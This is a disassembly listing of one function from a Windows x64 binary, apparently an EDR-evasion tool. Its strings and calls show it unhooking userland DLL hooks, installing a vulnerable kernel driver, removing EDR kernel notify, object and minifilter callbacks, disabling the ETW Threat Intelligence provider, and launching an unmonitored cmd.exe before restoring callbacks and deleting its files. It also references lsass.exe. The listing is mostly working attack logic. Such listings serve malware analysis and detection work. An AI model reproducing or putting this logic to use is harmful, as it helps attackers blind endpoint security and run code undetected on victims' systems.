Function at 0x140001360
Capabilities:
Delete file

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x1708]
mov eax, 0x1808
call fcn.140024140
sub rsp, rax
mov rax, qword [0x140047040]
xor rax, rsp
mov qword [rbp + 0x16e0], rax
call fcn.140006320
test eax, eax
jne 0x1400013b7
xor r9d, r9d
lea r8, str.Crash
lea rdx, str.Need_InitAPI__exiting...
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rax, 0xffffffffffffffff
jmp 0x1400022a9
mov qword [rsp + 0x1820], rbx
lea rcx, [rbp + 0x450]
mov qword [rsp + 0x17f8], r14
xor edx, edx
mov r8d, 0x208
mov qword [rsp + 0x17f0], r15
call fcn.140005fd0
mov edx, 1
lea r8d, [rdx + 0x38]
call fcn.140006000
lea rdx, [rbp + 0x450]
mov ecx, 0x104
call rax
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x208
call fcn.140005fd0
xor edx, edx
lea rcx, [rbp + 0xc90]
mov r8d, 0x208
call fcn.140005fd0
movups xmm0, xmmword [str.WN_64.sys]
mov eax, dword [0x14002e828]
lea rcx, [rbp + 0x240]
xor edx, edx
mov dword [rbp + 0x28], eax
mov r8d, 0x208
movups xmmword [rbp + 0x18], xmm0
call fcn.140005fd0
xor edx, edx
lea rcx, [rbp + 0xea0]
mov r8d, 0x208
call fcn.140005fd0
xor edx, edx
lea rcx, [rbp + 0x10b0]
mov r8d, 0x208
call fcn.140005fd0
xor edx, edx
lea rcx, [rbp + 0x660]
mov r8d, 0x208
call fcn.140005fd0
lea r8, str.lsass.exe
mov edx, 0x104
lea rcx, [rbp + 0x12c0]
call fcn.140013704
xor edx, edx
lea rcx, [rbp + 0x14d0]
mov r8d, 0x208
call fcn.140005fd0
xor r14d, r14d
mov dword [rsp + 0x74], r14d
call fcn.140001280
call fcn.1400010d0
lea rcx, str.__USER_MODE___n
mov dword [rsp + 0x50], eax
lea r15d, [r14 + 1]
call fcn.1400138e0
lea rcx, str.___Detecting_userland_hooks_in_all_loaded_DLLs...
call fcn.1400138e0
call fcn.140003d30
lea rcx, [0x14002e8e8]
mov rbx, rax
call fcn.1400138e0
cmp qword [rbx], r14
je 0x140001543
lea rcx, str.____Hooks__tRemoving_detected_userland_hooks...
call fcn.1400138e0
cmp qword [rbx], r14
je 0x140001543
mov rdx, qword [rbx + 0x10]
lea rcx, str.____Hooks__tUnhooking__s_using_method__ld..._n
mov r8d, 5
call fcn.140001070
mov rcx, rbx
call fcn.1400038c0
test eax, eax
mov ecx, r14d
cmovne ecx, r15d
add rbx, 0x20
mov r15d, ecx
cmp qword [rbx], r14
jne 0x140001510
lea rcx, [0x14002e8e8]
call fcn.1400138e0
lea rcx, str.__KERNEL_MODE___n
call fcn.1400138e0
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x30]
mov rax, rdi
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140001570
test rax, rax
jne 0x1400015b0
lea edx, [rax + 0xb]
lea r8d, [rdx + 0x7a]
call fcn.140006000
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x30]
call rax
mov edx, 0xb
lea r8d, [rdx + 0x7a]
call fcn.140006000
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x30]
call rax
mov edx, 1
lea r8d, [rdx + 0x41]
call fcn.140006000
lea rcx, [rbp + 0x30]
call rax
cmp eax, 0xffffffff
je 0x1400022d5
test al, 0x10
jne 0x1400022d5
lea rcx, [rbp + 0x240]
mov rax, rdi
nop
inc rax
cmp word [rcx + rax*2], r14w
jne 0x1400015e0
test rax, rax
jne 0x140001649
movups xmm0, xmmword [str.NtoskrnlOffsets.csv]
lea edx, [rax + 0xb]
movups xmm1, xmmword [0x14002ea28]
lea r8d, [rdx + 0x7a]
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x14002ea38]
movsd qword [rbp + 0x10], xmm0
movups xmmword [rbp], xmm1
call fcn.140006000
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x240]
call rax
mov edx, 0xb
lea r8d, [rdx + 0x7a]
call fcn.140006000
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x240]
call rax
lea rcx, str.___Loading_required_offsets_for_ntoskrnl.exe...
call fcn.1400138e0
mov edx, 1
lea r8d, [rdx + 0x41]
call fcn.140006000
lea rcx, [rbp + 0x240]
call rax
cmp eax, 0xffffffff
je 0x1400016cf
test al, 0x10
jne 0x1400016cf
lea rcx, str.___Loading_kernel_related_offsets_from_the_CSV_file
call fcn.1400138e0
lea rcx, [rbp + 0x240]
call fcn.1400042e0
cmp qword [0x14007d180], r14
je 0x1400016c3
cmp qword [0x14007d188], r14
je 0x1400016c3
cmp qword [0x14007d190], r14
je 0x1400016c3
cmp qword [0x14007d1b0], r14
je 0x1400016c3
cmp qword [0x14007d1b8], r14
je 0x1400016c3
cmp qword [0x14007d1c0], r14
jne 0x1400016cf
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_ntoskrnl_in_use.
call fcn.1400138e0
cmp qword [0x14007d180], r14
lea rbx, [0x14007d180]
mov qword [rsp + 0x1828], rsi
mov qword [rsp + 0x1830], r12
je 0x140001720
cmp qword [0x14007d188], r14
je 0x140001720
cmp qword [0x14007d190], r14
je 0x140001720
cmp qword [0x14007d1b0], r14
je 0x140001720
cmp qword [0x14007d1b8], r14
je 0x140001720
cmp qword [0x14007d1c0], r14
jne 0x140001856
lea rcx, str.___Downloading_kernel_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.1400138e0
call fcn.1400044b0
cmp qword [0x14007d180], r14
je 0x14000184a
cmp qword [0x14007d188], r14
je 0x14000184a
cmp qword [0x14007d190], r14
je 0x14000184a
cmp qword [0x14007d1b0], r14
je 0x14000184a
cmp qword [0x14007d1b8], r14
je 0x14000184a
cmp qword [0x14007d1c0], r14
je 0x14000184a
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.1400138e0
mov edx, 1
lea r8d, [rdx + 0x41]
call fcn.140006000
lea rcx, [rbp + 0x240]
call rax
cmp eax, 0xffffffff
je 0x140001856
test al, 0x10
jne 0x140001856
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.1400138e0
call fcn.140004900
lea r8, [0x140031240]
mov qword [rsp + 0x68], r14
lea rdx, [rbp + 0x240]
mov rsi, rax
lea rcx, [rsp + 0x68]
call fcn.140013c98
mov rcx, qword [rsp + 0x68]
test rcx, rcx
jne 0x1400017f7
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x140001851
mov r8, rsi
lea rdx, [0x14003129c]
call fcn.140002ee0
mov rsi, rbx
lea r12, [0x14007d1d0]
mov r8, qword [rsi]
lea rdx, str.__llx
mov rcx, qword [rsp + 0x68]
call fcn.140002ee0
add rsi, 8
cmp rsi, r12
jl 0x140001810
mov rdx, qword [rsp + 0x68]
lea rcx, [0x14002ebe8]
call fcn.1400147ec
mov rcx, qword [rsp + 0x68]
call fcn.140013e14
jmp 0x140001856
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.1400138e0
cmp qword [0x14007d180], r14
je 0x1400022c2
cmp qword [0x14007d188], r14
je 0x1400022c2
cmp qword [0x14007d190], r14
je 0x1400022c2
cmp qword [0x14007d1b0], r14
je 0x1400022c2
cmp qword [0x14007d1b8], r14
je 0x1400022c2
cmp qword [0x14007d1c0], r14
je 0x1400022c2
lea rcx, str.___Ntoskrnl_offsets:
call fcn.140001010
lea rsi, [0x14007d1c8]
nop word [rax + rax]
mov rdx, qword [rbx]
lea rcx, str.__llx_
call fcn.140001010
add rbx, 8
cmp rbx, rsi
jl 0x1400018c0
mov rdx, qword [0x14007d1c8]
lea rcx, str._llx_n
call fcn.140001010
lea rcx, [rbp + 0x660]
mov rax, rdi
inc rax
cmp word [rcx + rax*2], r14w
jne 0x1400018f5
test rax, rax
jne 0x14000193e
lea edx, [rax + 0xb]
lea r8d, [rdx + 0x7a]
call fcn.140006000
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x660]
call rax
mov edx, 0xb
lea r8d, [rdx + 0x7a]
call fcn.140006000
lea rdx, str.FltmgrOffsets.csv
lea rcx, [rbp + 0x660]
call rax
lea rcx, [rbp + 0x660]
call fcn.140002f90
test eax, eax
je 0x1400022ce
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], r14
lea rcx, [rbp + 0x30]
call fcn.140002450
test eax, eax
je 0x1400019c3
lea rcx, str.___Vulnerable_driver_is_already_running__n
call fcn.1400138e0
mov rbx, qword [rsp + 0x68]
mov rcx, rbx
call fcn.1400138e0
lea rcx, [0x14002ebe8]
call fcn.1400138e0
mov rcx, qword [0x14007f1c0]
test rcx, rcx
je 0x14000199f
call fcn.1400137e4
mov rcx, rbx
call fcn.14000e504
mov qword [0x14007f1c0], rax
test rax, rax
jne 0x140001b81
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
jmp 0x140001b7c
lea rcx, str.___Installing_vulnerable_driver...
call fcn.1400138e0
mov rbx, qword [0x14007f1c0]
test rbx, rbx
je 0x1400019ef
mov rax, rdi
nop
inc rax
cmp word [rbx + rax*2], r14w
jne 0x1400019e0
test rax, rax
jne 0x140001a18
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000e354
mov rbx, rax
test rax, rax
jne 0x140001a09
mov rbx, r14
jmp 0x140001a11
mov rcx, rax
call fcn.1400080b0
mov qword [0x14007f1c0], rbx
lea r8, [rbp + 0x30]
mov rdx, rbx
mov rcx, rbx
call fcn.140007b20
cmp eax, 5
jne 0x140001a3a
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.1400138e0
jmp 0x140001a42
test eax, eax
je 0x140001b5e
lea rcx, str.____An_error_occurred_while_installing_the_vulnerable_driver
call fcn.1400138e0
lea rcx, str.___Uninstalling_the_service_and_attempting_the_install_again...
call fcn.1400138e0
mov edx, 1
mov r8d, 0xb4
call fcn.140006000
mov ecx, 0x4e20
call rax
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006000
mov rcx, qword [0x1400630b8]
call rax
mov qword [0x1400630b8], rdi
call fcn.1400023c0
mov edx, 1
mov r8d, 0xb4
mov ebx, eax
call fcn.140006000
mov ecx, 0x7d0
call rax
test ebx, ebx
je 0x140001b18
mov rbx, qword [0x14007f1c0]
test rbx, rbx
je 0x140001acf
mov rax, rdi
inc rax
cmp word [rbx + rax*2], r14w
jne 0x140001ac0
test rax, rax
jne 0x140001af8
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000e354
mov rbx, rax
test rax, rax
jne 0x140001ae9
mov rbx, r14
jmp 0x140001af1
mov rcx, rax
call fcn.1400080b0
mov qword [0x14007f1c0], rbx
lea r8, [rbp + 0x30]
mov rdx, rbx
mov rcx, rbx
call fcn.140007b20
cmp eax, 5
jne 0x140001b45
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.1400138e0
mov edx, 1
mov r8d, 0xb4
call fcn.140006000
mov ecx, 0x7d0
call rax
lea rcx, str.____New_uninstall___install_attempt_failed__make_sure_that_there_is_no_trace_of_the_driver_left...
call fcn.1400138e0
mov eax, 1
jmp 0x140002281
test eax, eax
jne 0x140001b18
lea edx, [rax + 1]
mov r8d, 0xb4
call fcn.140006000
mov ecx, 0x7d0
call rax
mov edx, 1
mov r8d, 0xb4
call fcn.140006000
mov ecx, 0x1388
call rax
lea rcx, [0x14002ebe8]
call fcn.1400138e0
lea rcx, str.___Checking_if_any_EDR_kernel_notify_rountines_are_set_for_image_loading__process_and_thread_creations...
call fcn.1400138e0
mov edx, 0x18
lea ecx, [rdx - 0x17]
call fcn.14000e354
mov rsi, rax
test rax, rax
jne 0x140001bb6
lea rcx, str.____Couldnt_allocate_memory_to_enumerate_the_drivers_in_Kernel_callbacks
call fcn.1400138e0
lea eax, [rsi + 1]
jmp 0x140002281
mov rdx, rsi
mov qword [rsp + 0x1800], r13
xor ecx, ecx
call fcn.1400068a0
mov rdx, rsi
mov ecx, 1
mov ebx, eax
call fcn.1400068a0
mov rdx, rsi
mov ecx, 2
or ebx, eax
call fcn.1400068a0
mov r12d, eax
lea rcx, [0x14002e8e8]
or r12d, ebx
call fcn.1400138e0
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_processes_and_threads_handle_creation_duplication...
call fcn.1400138e0
mov rcx, rsi
call fcn.140005710
mov r13d, eax
lea rbx, str.not_found
lea rax, str.present
test r13d, r13d
mov rdx, rbx
lea rcx, str.____ObjectCallblacks__tObject_callbacks_are__s___n
cmovne rdx, rax
call fcn.140001010
lea rcx, [0x14002e8e8]
call fcn.1400138e0
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_I_O_events__minifilters_...
call fcn.1400138e0
mov rcx, rsi
call fcn.1400049f0
test eax, eax
mov dword [rsp + 0x68], eax
mov r14d, eax
lea rcx, str.____MinifilterCallbacks__tMinifilter_callbacks_are__s___n
lea rax, str.present
cmovne rbx, rax
mov rdx, rbx
call fcn.140001010
xor ecx, ecx
test r12d, r12d
sete cl
xor edx, edx
test r13d, r13d
cmove edx, ecx
xor ebx, ebx
test r14d, r14d
lea rcx, [0x14002e8e8]
cmove ebx, edx
call fcn.1400138e0
lea rcx, str.____ETWTI__tChecking_the_ETW_Threat_Intelligence_Provider_state...
call fcn.1400138e0
call fcn.140006640
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140001cdc
lea rdx, str.DISABLED
xor r14d, r14d
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
call fcn.140001010
lea rcx, [0x14002e8e8]
call fcn.1400138e0
jmp 0x140001d76
call fcn.140002df0
mov edx, 1
mov qword [rsp + 0x58], 0
mov r8d, 0xae
mov r14, rax
call fcn.140006000
xor ecx, ecx
call rax
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x58]
mov rcx, r14
call fcn.140002c30
test eax, eax
je 0x140001d34
mov rdx, qword [rsp + 0x58]
lea r8, [rsp + 0x70]
mov r9d, 1
mov byte [rsp + 0x20], 0
mov rcx, r14
call fcn.140002b00
xor r14d, r14d
lea rax, str.ENABLED
cmp byte [rsp + 0x70], 1
lea rdx, str.DISABLED
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
sete r14b
test r14d, r14d
cmovne rdx, rax
call fcn.140001010
lea rcx, [0x14002e8e8]
call fcn.1400138e0
test r14d, r14d
jne 0x140001efb
test ebx, ebx
je 0x140001efb
test r15d, r15d
je 0x140001efb
lea rcx, str.___Process_is__safe__to_launch_our_payload_n
call fcn.1400138e0
lea rcx, str.___Kernel_callbacks_have_normally_been_removed__starting_cmd.exe_nWARNING:_EDR_kernel_callbacks_will_be_restored_after_exiting_the_cmd_prompt__by_typing_exit__nWARNING:_While_unlikely__the_longer_the_callbacks_are_removed__the_higher_the_chance_of_being_detected___causing_a_BSoD_upon_restore_is__n
call fcn.1400138e0
xor edx, edx
lea rcx, [rbp + 0xa80]
mov r8d, 0x208
call fcn.140005fd0
mov edx, 1
lea r8d, [rdx + 0x4e]
call fcn.140006000
mov edx, 0x104
lea rcx, [rbp + 0xa80]
call rax
xor edx, edx
lea rcx, [rbp + 0x870]
mov r8d, 0x208
call fcn.140005fd0
lea r8, [rbp + 0xa80]
mov edx, 0x104
lea rcx, [rbp + 0x870]
call fcn.14001376c
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0x870]
call fcn.14001376c
xorps xmm1, xmm1
mov dword [rbp - 0x80], 0x68
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
movups xmmword [rbp - 0x7c], xmm1
lea edx, [rax + 1]
mov dword [rbp - 0x1c], eax
lea r8d, [rax + 0x19]
movups xmmword [rbp - 0x6c], xmm1
movups xmmword [rbp - 0x5c], xmm1
movups xmmword [rbp - 0x4c], xmm1
movups xmmword [rbp - 0x3c], xmm1
movups xmmword [rbp - 0x2c], xmm1
call fcn.140006000
xor esi, esi
lea rcx, [rbp - 0x10]
mov qword [rsp + 0x48], rcx
lea rdx, [rbp + 0x870]
lea rcx, [rbp - 0x80]
xor r9d, r9d
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], rsi
xor ecx, ecx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call rax
test eax, eax
je 0x140001ee8
lea edx, [rsi + 1]
mov r8d, 0xc8
call fcn.140006000
mov rcx, qword [rbp - 0x10]
mov edx, 0xffffffff
call rax
lea edx, [rsi + 1]
mov dword [rsp + 0x68], 0xffffffff
lea r8d, [rsi + 0x40]
call fcn.140006000
mov rcx, qword [rbp - 0x10]
lea rdx, [rsp + 0x68]
call rax
lea edx, [rsi + 1]
lea r8d, [rsi + 0xa]
call fcn.140006000
mov rcx, qword [rbp - 8]
call rax
lea edx, [rsi + 1]
lea r8d, [rsi + 0xa]
call fcn.140006000
mov rcx, qword [rbp - 0x10]
call rax
lea rcx, [0x14002e8e8]
call fcn.1400138e0
mov ebx, esi
jmp 0x1400021a0
call fcn.1400010d0
test eax, eax
jne 0x1400022ec
lea rcx, str.___Process_is_NOT__safe__to_launch_our_payload__removing_monitoring_and_starting_another_process..._n
call fcn.1400138e0
test r14d, r14d
je 0x140001f2c
xor edx, edx
call fcn.1400067a0
lea rcx, [0x14002e8e8]
call fcn.1400138e0
test r12d, r12d
je 0x140001f7c
lea rcx, str.___Removing_kernel_callbacks_registered_by_EDR_for_process_creation__thread_creation_and_image_loading...
call fcn.1400138e0
mov r8d, 1
mov rdx, rsi
xor ecx, ecx
call fcn.140006ba0
mov r8d, 1
mov rdx, rsi
mov ecx, r8d
call fcn.140006ba0
mov r8d, 1
mov rdx, rsi
lea ecx, [r8 + 1]
call fcn.140006ba0
lea rcx, [0x14002e8e8]
call fcn.1400138e0
test r13d, r13d
je 0x140001fa3
lea rcx, str.___Disabling_kernel_callbacks_registered_by_EDR_for_process_and_thread_opening_or_handle_duplication...
call fcn.1400138e0
xor edx, edx
mov rcx, rsi
call fcn.140005e40
lea rcx, [0x14002e8e8]
call fcn.1400138e0
mov r15d, dword [rsp + 0x68]
test r15d, r15d
je 0x140001fcd
lea rcx, str.___Removing_minifilter_callbacks_registered_by_EDR_for_monitoring_I_O_operations...
call fcn.1400138e0
mov rcx, rsi
call fcn.1400051b0
lea rcx, [0x14002e8e8]
call fcn.1400138e0
lea rcx, str.___All_EDR_drivers_were_successfully_removed_from_Kernel_callbacks__n_n_nStarting_a_new_unmonitored_process..._n_n
call fcn.1400138e0
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
mov dword [rbp - 0x1c], eax
movups xmmword [rbp - 0x6c], xmm0
lea edx, [rax + 1]
mov qword [rbp], rax
lea r8d, [rax + 0x37]
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x10], xmm0
call fcn.140006000
call rax
mov edx, 1
mov rbx, rax
lea r8d, [rdx + 9]
call fcn.140006000
mov rcx, qword [0x1400630b8]
call rax
mov edx, 1
mov qword [0x1400630b8], rdi
lea r8d, [rdx + 0x18]
call fcn.140006000
lea rcx, [rbp - 0x10]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rbp - 0x80]
mov rdx, rbx
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], 1
call rax
test eax, eax
je 0x1400020c7
mov edx, 1
mov r8d, 0xc8
call fcn.140006000
mov rcx, qword [rbp - 0x10]
mov edx, 0xffffffff
call rax
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006000
mov rcx, qword [rbp - 0x10]
call rax
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006000
mov rcx, qword [rbp - 8]
call rax
mov ebx, dword [rsp + 0x74]
jmp 0x1400020d8
lea rcx, str.____An_error_occured_while_trying_to_create_a_new_process
call fcn.1400138e0
mov ebx, 1
lea rcx, [0x14002ebe8]
call fcn.1400138e0
test r12d, r12d
je 0x14000212c
lea rcx, str.___Restoring_EDRs_kernel_notify_routine_callbacks...
call fcn.1400138e0
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call fcn.140006ba0
xor r8d, r8d
mov rdx, rsi
lea ecx, [r8 + 1]
call fcn.140006ba0
xor r8d, r8d
mov rdx, rsi
lea ecx, [r8 + 2]
call fcn.140006ba0
lea rcx, [0x14002e8e8]
call fcn.1400138e0
test r13d, r13d
je 0x140002156
lea rcx, str.___Restoring_EDRs_kernel_object_callbacks...
call fcn.1400138e0
mov edx, 1
mov rcx, rsi
call fcn.140005e40
lea rcx, [0x14002e8e8]
call fcn.1400138e0
test r15d, r15d
je 0x14000217b
lea rcx, str.___Restoring_EDRs_minifilter_callbacks...
call fcn.1400138e0
mov rcx, rsi
call fcn.140005400
lea rcx, [0x14002e8e8]
call fcn.1400138e0
test r14d, r14d
je 0x140002196
mov edx, 1
call fcn.1400067a0
lea rcx, [0x14002e8e8]
call fcn.1400138e0
mov rcx, rsi
call fcn.1400137e4
xor esi, esi
cmp dword [rsp + 0x50], 0
jne 0x140002277
lea rcx, str.___Uninstalling_vulnerable_driver...
call fcn.1400138e0
mov edx, 1
lea r8d, [rdx + 9]
call fcn.140006000
mov rcx, qword [0x1400630b8]
call rax
mov qword [0x1400630b8], rdi
call fcn.1400023c0
test eax, eax
jne 0x140002244
lea rcx, str.____An_error_occured_while_attempting_to_uninstall_the_vulnerable_driver
call fcn.1400138e0
mov rbx, qword [0x14007f1c0]
test rbx, rbx
je 0x140002205
inc rdi
cmp word [rbx + rdi*2], 0
jne 0x1400021f6
test rdi, rdi
jne 0x14000222e
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000e354
mov rbx, rax
test rax, rax
jne 0x14000221f
mov rbx, rsi
jmp 0x140002227
mov rcx, rax
call fcn.1400080b0
mov qword [0x14007f1c0], rbx
mov rdx, rbx
lea rcx, str.___The_service_should_be_manually_deleted_and_the_computer_restarted._Use:_cmd__c_sc_delete__s_n
call fcn.140001010
mov ebx, 1
jmp 0x140002250
lea rcx, str.___The_vulnerable_driver_was_successfully_uninstalled_
call fcn.1400138e0
lea rcx, str.NtoskrnlOffsets.csv
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.FltmgrOffsets.csv
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.WN_64.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r13, qword [rsp + 0x1800]
mov eax, ebx
mov r12, qword [rsp + 0x1830]
mov rsi, qword [rsp + 0x1828]
mov r14, qword [rsp + 0x17f8]
mov rbx, qword [rsp + 0x1820]
mov r15, qword [rsp + 0x17f0]
mov rcx, qword [rbp + 0x16e0]
xor rcx, rsp
call fcn.140009ca0
add rsp, 0x1808
pop rdi
pop rbp
ret
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._Aborting..._n
call fcn.1400138e0
mov eax, 1
jmp 0x140002281
lea rdx, [rbp + 0x30]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
call fcn.140001010
mov eax, 1
jmp 0x140002291
lea rcx, [0x14002fc10]
call fcn.140001010
mov ecx, 1
call fcn.14000e348
int3